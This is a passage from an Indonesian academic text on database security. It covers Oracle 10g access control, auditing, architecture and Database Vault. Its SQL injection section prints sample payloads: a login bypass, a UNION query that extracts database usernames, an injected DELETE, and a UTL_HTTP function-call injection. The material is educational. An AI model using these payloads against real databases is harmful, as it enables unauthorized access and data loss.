terjadi kegagalan. 32 - Shadow Paging: menggunakan page bayangan dimana pada prosesnya terdiri dari 2 tabel yang sama, yang satu menjadi tabel transaksi dan yang lain digunakan sebagai cadangan. Ketika transaksi mulai berlangsung kedua tabel ini sama dan selama berlangsung tabel transaksi yang menyimpan semua perubahan ke database, tabel bayangan akan digunakan jika terjadi kesalahan. Keuntungannya adalah tidak membutuhkan REDO atau UNDO, kelemahannya membuat terjadinya fragmentasi. - Kesatuan data dan Enkripsi Enkripsi: keamanan data, pengkodean data dengan algoritma khusus sehingga data tidak dapat dibaca oleh program tanpa kunci dekripsi, memproteksi data yang ditransmisikan melalui jalur komunikasi Integritas: metode pemeriksaan dan validasi data (metode integrity constrain), yaitu berisi aturan-aturan atau batasanbatasan untuk tujuan terlaksananya integritas data. Konkuren: mekanisme untuk menjamin bahwa transaksi yang konkuren pada database multi user tidak saling menganggu operasinya masing-masing. penjadwalan proses yang akurat (time stamping). - RAID (Redundant Array of Independent Disks) Adanya 33 RAID terdiri atas array disk, meningkatkan keandalan atau kinerja dengan data stripping, penyimpanan informasi redundan dengan skema error-correcting Level pada RAID : RAID 0 - nonredundant, pada level ini tidak ada redundansi data dan memiliki performa yang paling baik karena tidak harus di replikasi. RAID 1 – mirrored, dilakukan mirroring pada data . RAID 0+1 – nonredudant dan mirrored, merupakan penggabungan stripping dan mirroring. RAID 2 – memory-style-error-correcting codes, stripping unit adalah bit tunggal dan hamming code digunakan sebagai skema redundansi RAID 3 – bit interleaved parity, redundansi dengan menyimpan informasi parity pada disk tunggal di array. RAID 4 – block interleaved parity, stripping unit adalah disk block. RAID 5 – block interleaved distributed parity, menggunakan data parity untuk redundansi. RAID 6 – P+Q redundancy, mirip dengan RAID 5 tapi penambahan data redundan digunakan untuk proteksi akan kegagalan disk. 34 - Tiga prinsip dasar yang digunakan untuk menetapkan pengendalian integritas adalah: Memberikan akses dalam kerangka need-to-know basis User seharusnya hanya diberikan akses terhadap file dan program yang mereka butuhkan untuk melakukan fungsi fungsi pekerjaan mereka. Keleluasaan akses terhadap data produksi atau source code oleh user seharusnya diperketat menggunakan metode transaksi, dimana dapat memastikan bahwa user dapat mengubah data hanya dalam cara yang terkontrol dengan baik sehingga menjaga integritas data. Elemen umum dari metode transaksi ini adalah pencatakan modifikasi data dalam sebuah log, yang dapat diperiksa lebih lanjut untuk memastikan bahwa hanya perubahan yang diotorisasi dan benar saja yang dilakukan didalam sistem. Agar lebih efektif, metode transaksi ini harus memastikan bahwa data hanya dapat dimanipulasi menggunakan program – program tertentu saja. Programprogram tersebut harus diawasi secara hati-hati, baik dalam pengembangan dan instalasinya, dan diterapkan pengendalian untuk mencegah modifikasi yang tidak terotorisasi. Karena user harus dapat bekerja secara efisien, hak akses harus diberikan secara bijaksana sehingga memungkinkan fleksibilitas operasional yang memadai. Akses berdasarkan need to - know basis ini harus 35 memungkinkan terjadinya kontrol maksimal dengan pembatasan seminimal mungkin terhadap user. Setiap inisiatif keamanan informasi harus menerapkan keseimbangan yang baik antara tingkat keamanan yang ideal dan produktivitas kerja Pemisahan tugas (separation of duties) Untuk memastikan di bahwa tidak satu orang karyawan pun yang mengendalikan sebuah transaksi dari awal sampai akhir, dua atau lebih orang harus bertanggung jawab untuk melakukannya. Rotasi Tugas Penugasan suatu pekerjaan harus diubah-ubah secara periodik sehingga mempersulit user dalam berkolaborasi untuk mengendalikan sepenuhnya sebuah transaksi dan mengalihkannya untuk tujuan-tujuan terlarang. - Metode Penyerangan yang umum dilakukan untuk mengakses objek: Brute Force Attack Tujuan dari serangan ini adalah mencoba beberapa kombinasi karakter yang memenuhi otentikasi tipe 1. Seringkali disebut menebak password, sebuah program mengirim beberapa login percobaan, masing-masingnya dengan password yang sedikit berbeda. Sebagai tambahan atas serangan sendiri, atur level sistem monitor untuk 36 memberi tahu ketika aktifitas yang tidak umum sedang terjadi. Ide bagus juga untuk mengatur level penguncian ke tingkat yang agresif sehingga account terkunci setelah beberapa kegagalan login. Hal ini akan merepotkan bagi pemakai yang melupakan password-nya, tetapi hal ini menyediakan pertahanan yang baik terhadap brute force attack. Dictionary Attack Merupakan turunan dari brute force attack. Sebagai ganti dari mencoba semua kombinasi password, dictionary atack mencoba untuk memenuhi permintaan password dengan memberikan password umum dari sebuah daftar atau kamus. Banyak daftar dari password yang umum digunakan mudah untuk dicari. Meskipun mereka membuat sumber yang bagus untuk dictionary attack, mereka juga menyediakan contoh password yang dihindari. Pada kenyataannya, salah satu cara terbaik untuk mencegah dictionary attack adalah dengan kebijakan password yang ketat. Spoofing Attack Tipe lain dari serangan kontrol akses adalah login spoofing. Seorang penyerang meletakkan program login palsu yang meminta kepada pemakai, user ID dan password. Tampilannya seperti login normal, sehingga pemakai 37 memberikan informasi yang diminta. Alih-alih memasukkan pemakai ke dalam sistem, program tersebut menyimpan informasi dan menampilkan pemberitahuan bahwa login gagal. Pertahanan terbaik melawan serangan jenis ini adalah membangun jalur yang terpercaya antara pemakai dan server ketika memungkinkan. Lakukan percobaan untuk meminimalkan peluang bagi penyerang untuk masuk antara pemakai dan server. Didalam lingkungan dimana keamanan menjadi sangat penting, pemakai harus dengan hati-hati mempelajari semua percobaan login yang gagal dan memastikan kegagalan tersimpan dan dilaporkan. Trojan Horse Cara yang sering digunakan penyusup untuk menjebak user agar menginstall program yang membuka pintu belakang di sistem yang digunakan, sehingga penyusup tersebut dapat dengan mudah mengakses komputer milik user tanpa sepengetahuan pemiliknya. Kemudian, penyusup tersebut bisa melakukan perubahan konfigurasi sistem atau menularkan virus ke komputer tersebut. Back Door dan Remote Administration Program Di komputer yang menggunakan operating system, pada umumnya penyusup menggunakan tiga tool, back Orificem Netbus, dan Sub Seven untuk mendapatkan akses ke 38 komputer secara remote. Setelah diinstall, back door atau remote administration program ini memungkinkan orang lain untuk mengakses dan mengendalikan komputer tersebut. Platform komputer lainnya mungkin juga memiliki kelemahan terhadap model serangan seperti ini, sehingga user harus selalu memantau laporan-laporan mengenai vulnerability dari sistem yang digunakan. Denial of Service Ini adalah tipe serangan yang menyebabkan komputer crash atau menjadi sangat sibuk memproses data, sehingga user tidak mempergunakannya. Umumnya, serangan seperti ini bisa diatasi dengan menginstall patch terakhir dari sistem yang digunakan. Pencurian Identitas Informasi yang disimpan dalam sebuah home computer bisa menjadi sumber informasi pribadi yang mencukupi bagi para penyusup untuk mendaftarkan kartu kredit atau identitas lainnya, dengan mengatasnamakan korban tersebut Tunneling Saat karyawan bekerja di rumah dan mengirimkan file ke sebuah komputer di kantor, ada potensi bahwa sesorang dapat mengakses home computer tersebut dan menyusupkan file rahasia didalam sebuah dokumen yang nantinya disimpan di dalam sistem milik perusahaan. 39 2.4.3 Keamanan pada Database Oracle 10g Pada oracle database 10g, keamanan pada database menggunakan strategi pendekatan pertahanan secara mendalam (defense-in-depth approach) yaitu pertahanan keamanan tidak hanya dari pihak luar tapi juga dari pihak internal organisasi. Sistem keamanan pada oracle database 10g antara lain : 1. Authentikasi - Password Authenticated Users, database akan memverifikasi nama user dan password dengan yang tersimpan di database. - Externally Authenticated Users, bagi pihak luar validasi password tidak tersimpan dalam database, tetapi menunjuk ke account OP$. Perintah yang digunakan : CREATE USER ops$oracle IDENTIFIED EXTERNALLY; 2. Pengaturan hak akses : - Grant Security (system privilege dan object privilege) System Privilege, memberikan hak akses kepada user untuk mengatur dan mengelola sistem database oracle. Contoh : sql> grant create any cluster to customer_role; sql> grant select any table to fred; sql> grant create any table to public; 40 sql> grant create tablespace to dba_role; Object Privilege, merupakan hak akses yang diberikan user untuk melakukan beberapa operasi pada beberapa objek database, seperti tabel, view, sequence atau procedure. Contoh : sql> grant select, insert on customer to fred, mary, joe; sql> grant insert on order_table to update_role; sql> grant all on customer to fred; sql> grant select on customer_view to mary; - Role-based grant security, kumpulan dari beberapa privilege yang dikumpulkan menjadi satu. Ini merupakan salah satu cara untuk memudahkan dalam pemberian hak akses kepada user Contoh : sql> create role system_admin; sql> grant select, update on customer to system_admin; sql> grant select on item_table to system_admin; sql> grant system_admin to user 1, user 2, user 3; - Grant Execute Security Kemampuan untuk membuat hak akses dengan menciptakan suatu program tertentu melalui stored procedure dan bahasa PL/SQL - Secure Application Roles 41 Roles adalah kumpulan dari privilege pada database untuk memudahkan manajemen dan memonitor user dan roles dapat digunakan setelah user melewati seluruh pemeriksaan keamanan. Perintah yang digunakan : CREATE ROLE role_name IDENTIFIED USING packagename; 3. Pengaturan akses (access control) dengan view restrictions. Pembatasan akses bagi user dalam melihat database. View adalah logikal tabel yang berisi bukan data sebenarnya tetapi hanya menampilkan kolom sesuai dengan akses yang telah diberikan. 4. Virtual Private Database (VPD) Virtual Private Database (VPD) atau row level security (RLS) atau biasa disebut juga fine-grained access control (FGAC) merupakan teknologi yang dapat membatasi akses terhadap baris-baris (row) data dari beberapa objek database yaitu tabel dan view secara runtime. Virtual Private Database memfasilitasi database untuk memodifikasi query berdasarkan security policy yang terdapat pada paket policy. Sebuah security policy sangat berkaitan dengan tabel atau view yang dituju. Ketika user secara langsung atau tidak memasuki tabel atau view yang berkaitan dengan VPD security policy, server secara dinamis memodifikasi SQL statement user. Modifikasi ini berdasarkan pada suatu kondisi yang diberikan oleh suatu fungsi yang mengimplementasikan security policy. Setiap 42 user diberikan security policy yang berbeda terhadap tabel dan view yang di-query. Terdapat 3 penambahan komponen penting VPD oracle 10g Column-Level Privacy Penambahan performance dengan membatasi jumlah query yang dapat ditulis ulang database. Penulisan ulang hanya dapat terjadi jika referensi statemen yang relevan terhadap kolom melalui parameter sec_relevant_cols dalam prosedur DBMS_RLS.ADD_POLICY. Fitur ini juga yang meningkatkan privacy menjadi lebih baik. Customization Memperkenalkan 4 tipe policy, kita dapat memodifikasi VPD menggunakan predicate yang sama dengan policy tetap atau menggunakan predicate VPD yang dapat berubah secara dinamis dengan policy tidak tetap. Shared Policies Kita dapat menggunakan sebuah VPD policy untuk memperbanyak objek, oleh karenanya dapat menghemat biaya. 5. Auditing - Statement Auditing Mencatat audit entry, setiap spesifik SQL statemen atau statemen apapun yang dilakukan oleh user dan juga setiap usaha untuk terkoneksi dengan database baik sukses atau 43 gagal. Ini adalah salah satu cara menemukan percobaan hacking pada database. - Fine-Grained Auditing Audit yang dapat dilakukan dengan detail yang sangat spesifik dari objek. Hal ini dapat membatasi audit records berdasarkan kolom yang diakses dan nilai dari kolom tersebut. Memungkinkan untuk data diaudit oleh user yang tidak memiliki latar belakang apapun dalam bidang IT. - Audit Trails Oracle dapat mengaudit kedalam tabel tertentu apakah data dictionary atau file sistem operasi. 6. Enterprise Security dengan lightweight directory access protocol (LDAP) Manajemen database user dan pengaturan autorisasi secara tersentralisasi. 7. Keamanan pada jaringan dengan proxy authentication. Memudahkan level tengah (middle tier) atau aplikasi klien untuk di authentikasi lalu ke proxy hingga ke account yang lain pada database tanpa harus authentikasi ulang. 8. Database Encryption Melindungi data penting dengan menyediakan lapisan (layer) tambahan perlindungan untuk data pada media penyimpanan. 44 2.5 Arsitektur Oracle Pada oracle terdapat dua komponen penting yaitu database dan instance. - Database adalah kumpulan file (physical file) untuk menyimpan data yang saling berelasi. Untuk mengecek nama database menggunakan command : select VALUE from v$parameter where NAME=’db_name’ - Instance adalah proses yang mengatur jalannya database (engine), instance mengatur penggunaan memory dan background process yang digunakan untuk mengakses data dari physical database files. Value dari ORACLE_SID adalah nama dari instance juga. Salah satu alasan dipisahkannya konsep antara database dan instance adalah database dapat digunakan secara bersama-sama (shared) oleh dua atau lebih oracle instance sebagai bagian dari konfigurasi untuk meningkatkan kinerja dari oracle server. Gambar 2.2. Arsitektur Oracle [Referensi:Oracle 10g Database Foundations,2004] 45 2.6 Struktur Database Oracle Oracle memiliki dua buah struktur yang merupakan bagian dari arsitektur oracle, yaitu: a. Struktur logikal, komponen yang digunakan untuk mengalokasikan space pada disk (tablespace). b. Struktur physical, komponen yang digunakan untuk mengatur fisik dari database file. 2.6.1. Struktur Logikal - Table space digunakan untuk menyatukan objek database menjadi satu kesatuan, umumnya untuk fasilitasi keamanan, performance atau ketersediaan objek database seperti tabel dan index. Pada database oracle minimum memiliki dua table space yaitu SYSTEM table space dan SYSAUX table space. - Segment adalah kumpulan dari extents untuk tipe objek tertentu seperti tabel. - Extents adalah blok data yang saling berdekatan - Database Blocks adalah bagian terkecil dari storage - Schemas adalah nama grup dari objek yang berasosiasi dengan user account tertentu. 46 Gambar 2.3. Struktur Logikal Oracle Database [Referensi:Oracle 10g Database Foundations,2004] 2.6.2. Struktur Physical - Datafile, digunakan untuk menyimpan data dari object database (mis : table, index, dll) - Redo log files, digunakan untuk menyimpan semua perubahan data yang dibutuhkan pada proses recovery (memperbaiki perubahan yang belum ditulis pada datafile). - Control file, berisi informasi berupa konfigurasi, lokasi data redo log files, datafile. 47 Gambar 2.4 Struktur Physical Oracle Database [Referensi:Oracle 10g Database Foundations,2004] 2.7 Struktur Instance Oracle Instance terdiri dari Memory dan Background process. 2.7.1. Memory Oracle menggunakan shared memory untuk pengoprasian database server, yang dibagi dalam struktur memory yang disebut sebagai SGA (System Global Area/Shared Global Area) dan PGA (Program Global Area/Private Global Area). - SGA (System Global Area/Shared Global Area) Area berupa shared memory yang digunakan untuk untuk menyimpan data atau konfigurasi yang mengendalikan system. Bila sebuah oracle instance di-startup, maka system melakukan alokasi 48 memory untuk SGA dan dikelola sampai instance tersebut tidak dibutuhkan lagi. (Dalam keadaan shutdown), SGA terdiri dari : a. Database Buffer Cache, memori yang dialokasikan menyimpan data sementara dari databases blocks yang belum dituliskan pada database datafiles. Database Buffer Cache memiliki 3 tipe : - Dirty buffers, buffer yang berisi data dari database block yang akan ditulis pada disk. - Free buffers, buffer yang kosong dan tidak ada block data didalamnya Ketika oracle membaca data dari disk(datafile) maka free buffer akan menyimpan data tersebut sehingga akan berubah menjadi dirty buffer - Pinned buffers : Block data yang ada dalam buffers sedang mengalami proses perubahan. b. Shared Pool, menyimpan informasi seperti data dictionary, sql structure, library. Informasi yang disimpan antara lain: - User information seperti privilege (hak/ijin akses) - Integrity constraints - Nama table, view, tipe data - Informasi tentang alokasi memory yang digunakan untuk schema object c. Redo Log Buffer, berisi informasi yang mencatat semua perubahan yang terjadi pada database secara otomatis dan 49 cepat. Data ini di catat ke redo log secepat mungkin, karena akan digunakan untuk tujuan recovery. d. Library cache, terdiri dari shared SQL areas, privates SQL areas, PL/SQL procedures, package dan control structures seperti locks dan library cache handles. e. Shared SQL areas, berisi informasi untuk mengeksekusi instruksi SQL dan instruksi ini disimpan, dan bila terjadi query yang sama maka sistem mengalokasikan request tersebut ke lokasi memory yang sama. f. Data Dictonary Cache, berisi koleksi struktur table, view, dan referensi ke database yang dapat diakses bersama. g. Large Pool adalah memori yang digunakan untuk menyediakan alokasi memori yang besar untuk spesifik operasi database seperti backup dan restore. h. Java Pool adalah memori yang dialokasikan untuk proses yang berbasis java. - PGA (Program Global Area/Private Global Area) Area pada memori yang berisi data untuk setiap proses yang terjadi pada database dan area ini tidak dipakai bersama (non-share). Terdiri dari: a. Stack Space, memori yg dialokasikan untuk menyimpan data dari variable dan arrays 50 b. Session Information, memori yg dialokasikan untuk menyimpan data tentang session yang terjadi pada database seperti user koneksi. c. Sort Area, memori yg dialokasikan untuk menyimpan data dari proses sorting. Perintah SQL yang termasuk proses sort adalah : CREATE INDEX, DISTINCT, ORDER BY, GROUP BY, UNION, INTERSACT, dan MINUS - SCA (Software Code Area) Area pada memori yang dialokasikan untuk menyimpan perintah atau code yang sedang dijalankan. Memori ini biasanya digunakan oleh oracle tools dan utilities seperti: SQL*Forms, SQL*Plus, etc. 2.7.2. Proses Background Eksekusi program komputer pada memori yang melakukan tugas tertentu. a. PMON (Process Monitor) - Melakukan rollback untuk transaksi yang dibatalkan. - Membersihkan proses yang berakhir tidak normal. - Mengaktifkan kembali shared_server dan dispatcher (Proses yang mengatur penjadwalan eksekusi proses oracle) bila mengalami error. - Membebaskan resource SGA yang dialokasikan pada process yang gagal. 51 b. SMON (System Monitor) berfungsi menjalankan instance recovery secara otomatis, mengatur memori segmen dan menggabungkan free area memori yang berdekatan (garbage collector) c. LGWR (Log Writer) berfungsi menulis semua data block pada buffer ke log file pada saat: d. - Terjadi proses commit. - Terjadi Checkpoin.t - Setiap 3 detik. - Log buffer penuh. CKPT (Check Point) berfungsi menjaga konsistensi data dengan membuat check point, sehingga bila terjadi crash, maka kondisi database dapat di kembalikan ke kondisi pada saat check point terakhir di buat. Proses checkpoint adalah menulis semua perubahan (updating) yang terjadi antara begin transaction dan commit. e. DBWR (Database Writer) berfungsi menulis semua data block pada buffer cache ke datafile pada saat terjadi commit. 52 Gambar 2.5 Background Process [Referensi: Oracle 10g Database Foundations,2004] 2.8 Database Vault Oracle database vault adalah sistem keamanan tambahan pada oracle database 10g yang dapat digunakan untuk : - Membatasi akses data aplikasi dari database administrator (DBA) atau user lain yang memiliki privileges. - Mencegah DBA memanipulasi database atau mengakses aplikasi-aplikasi yang lain. - Menyediakan pengaturan yang lebih baik tentang siapa, kapan dan dimana suatu aplikasi bisa diakses. - Meningkatkan proteksi dari struktur database dari perubahan-perubahan yang ilegal. - Merupakan tool untuk implementasi sistem keamanan yang lebih dinamis dan fleksibel. 53 - Merupakan salah satu pengendali internal, yaitu mekanisme yang digunakan untuk bisnis yang umumnya berjalan sesuai dengan peraturan yang ada seperti US Sarbanes-Oxley (SOX), US Healthcare Insurance Portability and Accountability Act (HIPAA), Japan Privacy Law, EU Privacy Directive, and the US California Senate Bill 1386. - Built-in reports, tersedianya laporan yang berhubungan dengan sistem keamanan termasuk intervensi pada realm. 2.8.1 Komponen Database Vault - Oracle Database Vault Access Control Components Membuat komponen-komponen untuk mengatur keamanan database instance - Oracle Database Vault Administrator (DVA) Aplikasi java yang dibangun diatas Oracle Database Vault PL/SQL aplikasi (APIs), aplikasi ini dibuat sebagai tampak muka pengaturan dan konfigurasi hak akses bagi manajer keamanan yang tidak bisa PL/ SQL. - Oracle Database Vault Configuration Assistant (DVCA) Pemeliharaan dari Oracle Database Vault - Oracle Database Vault DVSYS and DVF Schemas DVSYS adalah schema untuk penyimpanan database objek yang diperlukan untuk memproses oracle data, schema ini berisi roles, views, accounts, fungsi, dll. 54 DVF adalah schema yang berisi fungsi publik untuk mencari (pada saat proses berjalan) factor values pada Oracle Database Vault access control configuration - Oracle Database Vault PL/SQL Interfaces and Packages Ketersediaan antar muka koleksi PL/SQL dan paket yang member ijin pada security manager atau aplikasi developer untuk mengkonfigurasi kebijaksanaan pemberian hak akses - Oracle Database Vault and Oracle Label Security PL/SQL APIs Pengaturan akses yang dapat terintegrasi dengan Oracle Lable Security - Oracle Database Vault Reporting and Monitoring Tools Pembuatan laporan dari berbagai aktivitas yang telah dimonitor, memonitor perubahan kebijakan, percobaan perusakan atau pembobolan, konfigurasi database dan perubahan struktur. Komponen Oracle Database Vault Access Control - Database Vault Factor Factor adalah nama variabel atau attribute, seperti lokasi user, alamat IP database atau session user. Faktor dapat digunakan untuk aktivitas seperti autorisasi account untuk koneksi ke database, membuat filter logikal untuk membatasi visibility dan manageability data, selain itu faktor-faktor yang telah terintegrasi yang dapat digunakan sebagai kombinasi 55 dengan rules untuk mengatur akses ke database, aplikasi realm dan perintah-perintah di database dan merupakan blok bangunan dasar dari mandatory access control. Berikut adalah daftar faktor yang terdapat pada database vault. Tabel 2.4 Database Vault Factor Authentication Method Identification Type Proxy Enterprise Identity Database Domain Database Hostname - Language Session User Database IP Domain Database Name Enterprise Identity Network Protocol Database Instance Machine Client IP Database Vault Rule Sets Mesin rule untuk sistem keamanan database, yang di awasi melalui Data Vault MAC Admininistrator GUI atau PL/SQL APIs, dapat di audit dan memberikan respon. Kumpulan dari rule (single conditions) untuk mengontrol: 1. Faktor penugasan. 2. Autorisasi realm. 3. Kemampuan untuk menjalankan perintah-perintah database. 4. Kemampuan sebagai secure application role. - Database Vault Command Rules Command rules adalah rule yang dibuat untuk memproteksi pernyataan SELECT, ALTER SYSTEM, DDL, DML yang mempengaruhi database objek. Kategori command rules: - Memiliki system-wide scope : hanya dapat membuat satu command rule untuk tiap database instance 56 Contoh: command rule untuk ALTER SYSTEM dan CONNECT - Memiliki schema tertentu, contoh: command rule untuk DROP TABLE - Memiliki object tertentu, contoh: command rule untuk DROP TABLE dengan tabel tertentu. Rules dan factor dapat berasosiasi dengan banyak perintah di database. Rules memiliki internal control yang lebih kuat dan dapat di buat sesuai dengan kebijaksanaan operasional. Sebagai contoh , sebuah rule dapat didefinisikan sebagai limit eksekusi dari perintah alter sistem untuk alamat IP dan hostname tertentu. Berikut adalah contoh perintah database dimana rules dapat berasosiasi melalui database vault administrative interface. Tabel 2.5 Database Vault Command Rules Alter Database Alter Function Alter Package Body Alter Session Alter Table Password Rename Create Function Create Database Link Create Package Body Create Table Create Profile Create Tablespace Update Execute Alter View Audit Alter Procedure Alter System Alter Trigger Change Password Connect Create Index Create Procedure Create User Grant Revoke Create Trigger Insert Select Noaudit Alter Tablespace Alter Profile Alter Synonym Alter User Truncate Table Comment Create Package Create Role Create View Drop User Drop Profile Connect Delete Lock Table 57 - Perintah Otorisasi (Command Authorizations) Pembatasan dari penggunaan perintah DDL (create user, alter user), objek tertentu atau seluruhnya, berdasar pada kondisi rule set akan dievaluasi setelah data vault realms, dapat diimplementasikan pada prosedur bisnis. - Realm adalah kumpulan dari schema dan roles yang telah diproteksi, layer tambahan dari manajemen hak akses dalam database, wadah yang merupakan zona proteksi . Database vault administrator dapat membuat realm dan mendefinisikan isi didalamnya. Realm dapat berupa database objek seperti sebuah tabel, banyak tabel atau sebuah aplikasi atau banyak aplikasi. Berikut adalah gambaran umum realms Gambar 2.6 Realms [Referensi: Oracle Database Vault Administrator Guide, 2008] Keuntungan realms : 1. Membatasi DBA sistem dari query dan manipulasi data bisnis yang sensitive. 2. Implementasi aplikasi DBA dan konsep sub-databases 3. Blok untuk konsolidasi yang aman. 58 - Database Vault Protected Schema 1. Melindungi metadata database vault dari korup. 2. Menghilangkan ketergantungan metadata pada SYS schema 3. Akses untuk melindungi schema melalui administrative roles. 4. Pembagian tugas oleh administrative roles yang berbeda. Administratives roles antara lain : DV_ADMIN, DV_SECANALYST, DV_OWNER, DV_ACCTMGR, DV_REALM_OWNER, DV_REALM_RESOURCE 5. - Dibutuhkan password untuk SYS login Secure Application Roles Oracle database roles khusus yang dapat diaktifkan berdasar evaluasi dari oracle database vault rule set. 2.8.2 Database Vault memenuhi peraturan compliance Dengan adanya compliance regulation maka kesadaran akan keamanan pun meningkat, perusahaan yang baik adalah yang bisa memenuhi peraturan compliance demi terjaganya kerahasiaan data dari ancaman-ancaman yang potensial. Berikut adalah tabel yang berisi peraturan yang mengatur tentang ancaman yang potensial. Tabel 2.6 Potensial threat regulations Regulation Sarbanes-Oxley Section 302 Sarbanes-Oxley Section 404 Potential Security Threat Unauthorized changes to data Modification to data, unauthorized access 59 Tabel 2.6 Potensial threat regulations (lanjutan) Sarbanes-Oxley Section 409 Gramm-Leach-Bliley Health Insurance Portability and Accountability Act (HIPAA) 164 306 HIPAA 164.312 Basel II – Internal Risk Management CFR Part II Japan Privacy Law EU Directive on Privacy and Electronic Communications Payment Card Industry Data Security Standard (PCI DSS) Denial of Service, unauthorized access Unauthorized access, modification or disclosure Unauthorized access to data Unauthorized access to data Unauthorized access to data Unauthorized access to data Unauthorized access to data Unauthorized access to data Unauthorized changes to data 2.8.3 Auditing Report Realm Audit Report Laporan audit dibuat berdasarkan proteksi realm dan operasi autorisasi realm Command Rule Audit Report Laporan audit dibuat berdasarkan proses operasi command rule. Factor Audit Report Laporan audit yang menunjukkan factor yang gagal untuk dievaluasi atau diset untuk membuat audit record pada berbagai kondisi. Label Security Integration Audit Report Laporan audit dibuat berdasarkan operasi inisialisasi session dan operasi session label assignment. 60 Core Database Vault Audit Trail Report Laporan audit record yang dibuat oleh operasi core access security session initialization. Kita dapat membuat audit instances yang mengalami kegagalan akses keamanan. - Secure Application Role Audit Report Laporan audit yang dibuat berdasarkan operasi secure application role-enabling 2.9 SQL Injection Pengertian SQL Injection : Sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client. Merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data. Menurut Stephen Kost (Januari, 2004) kategori sql injection yang menyerang oracle adalah: a. SQL Manipulation Memodifikasi sql statement melalui set operasi seperti UNION, alter WHERE Clause untuk mengembalikan hasil yang berbeda. Klasik sql manipulasi adalah pada saat autentifikasi login. Contoh : SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword' Maka dimanipulasi menjadi: 61 SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword' or 'a' = 'a' SELECT product_name FROM all_products WHERE product_name like '%Chairs%' Maka dimanipulasi menjadi: SELECT product_name FROM all_products WHERE product_name like '%Chairs' UNION SELECT username FROM dba_users WHERE username like '%' b. Code Injection Penyerang menyisipkan sql statement baru atau perintah pada database pada pernyataan sql yang telah ada. Pernyataan EXECUTE pada sql server merupakan target untuk serangan ini. Pada PL/SQL dan Java, oracle tidak mendukung penggunaan multi statemen tiap permintaan database. Injeksi code yang umumnya digunakan antara lain: SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'; DELETE FROM users WHERE username = 'admin'; Statemen diatas akan mengembalikan hasil error. Akan tetapi beberapa bahasa pemrograman atau API mendukung multi statemen sql untuk dieksekusi, PL/SQL dan Java dapat secara dinamis mengeksekusi PL/SQL Blok yang rentan terhadap code injection. Contoh: BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); END; Menjadi: BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); DELETE FROM users WHERE upper(username) = upper('admin'); END; 62 c. Function Call Injection Penyisipan pada fungsi-fungsi database oracle atau fungsi tertentu pada pernyataan sql yang rentan. Function call dapat digunakan untuk membuat sistem operasi calls atau manipulasi data pada database. Fungsi yang dieksekusi sebagai bagian dari SQL SELECT statemen tidak akan membuat perubahan pada database, terkecuali fungsi ditandai sebagai PRAGMA TRANSACTION. Contoh: SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual; d. Buffer Overflow Bagian dari function call injection, kerentanan muncul pada fungsifungsi beberapa database yang menyebabkan buffer overflow, yang dapat dieksploitasi melalui serangan sql injection pada un-patched database. Serangan buffer overflow menggunakan TZ_OFFSET, TO_TIMESTAMP, TZ_BFILENAME, FROM_TZ, NUMTOYMINTERVAL atau NUMTODSINTERVAL dieksekusi menggunakan metode function injection yang dapat digunakan untuk akses remote pada sistem operasi. Sebagai tambahan beberapa aplikasi dan web server tidak mengantisipasi kehilangan koneksi database karena buffer overflow, umumnya web server hanya mengalami hang hingga koneksi ke klien mati. Hal inilah yang berpotensi terjadi serangan denial of service. 63 Menurut Esteban Martinez Fayo (Februari, 2005) untuk meretas oracle database server dibagi menjadi: a. Bila tidak terkoneksi langsung dengan database Melalui Sql Injection : Menyisipkan sql command Eksploitasi buffer overflows Bila tidak ada output, dapat langsung menggunakan UTL_HTTP standard package. b. Bila terkoneksi langsung dengan database (sebagai database user) Sql injection built in atau user-defined procedure Buffer overflows built in atau user-defined procedure Output dapat ditampilkan pada layar si penyerang BAB III ANALISA KEBUTUHAN DAN KONFIGURASI DATABASE VAULT 3.1 Analisa Kebutuhan Banyaknya pemberitaan tentang pencurian data yang antara lain: - Empat puluh milyar kartu kredit di hacked, pelanggaran pada prosesor pihak ketiga berakibat pada 22 juta kartu visa dan 14 juta kartu master (CNN Money) - Pabrik sepatu DSW berkata bahwa pencurian data berhubungan dengan 1.4 juta kartu kredit (The Wall Street Journal) - Data warga negara Amerika sebanyak 145,000 telah dicuri (Mark Schwannhausser , Mercury News) - Lexis Nexis mengungkapkan bahwa 310,000 warga negara Amerika, lebih dari 10 kali mengalami pelanggaran hak, data personal mereka diakses oleh pihak-pihak yang tidak berhak (The Wall Street Journal) - Telah terjadi pelanggaran pada call centre HSBC oleh pihak dalam, membuat data privacy dan bahaya dari keterlibatan pihak dalam menjadi sorotan. Hal ini tidak akan menjadi yang terakhir kali (Security News) Berbekal dari semua kejadian diatas, sistem keamanan pada database merupakan hal yang sangat serius, kebutuhan yang ditetapkan oleh user adalah adanya sistem database yang memiliki karakteristik keamanan yang tinggi 64 65 dimana suatu database dapat terjaga dan terpantau dengan baik. Sistem keamanan tersebut harus memiliki kemampuan untuk melakukan: A. Mendeteksi semua aktivitas pada database. B. Memproteksi database dari user yang tidak berhak. C. Memberikan laporan sehingga database dapat terpantau atau mudah untuk diaudit. Berikut ini adalah fitur security database yang dimiliki Oracle 10g release 2 Tabel 3.1 Fitur Security database Oracle 10g release 2 Fiturfitur Deskripsi Super User Privileges Column Level VPD Kebijaksanaan column level VPD menyediakan pengaturan yang lebih ketat untuk akses data. Kebijaksanaan ini terlaksana bila kolom tertentu atau semua kolom berusaha untuk diakses di user query artinya bila ada user yang mencoba memasuki data yang berisi informasi sensitif maka VPD dapat dapat membatasi hasil yang diberikan row Database Administrator Column Masking Column masking membuat hasil yang diberikan pada kolom yang berisi sensitif data seperti "null" Database Administrator Static, Context Sensitive dan Shared VPD Policy Static policy mengatur kebijaksanaan pada query, updates, insert dan delete melalui session dan sangat berguna untuk hosting dimana kita membutuhkan predicate. Contextsensitive policies, predicate dapat berubah setelah statement parse time tapi VPD dapat mengeksekusi ulang jika konteks aplikasi berubah dan sangat berguna pada saat VPD policies harus membuat lebih dari satu predicate yang berbeda untuk user atau grup yang berbeda Database Administrator Virtual Private Database Virtual Private Database Kegunaan 66 Tabel 3.1 Fitur Security database Oracle 10g release 2 (Lanjutan) 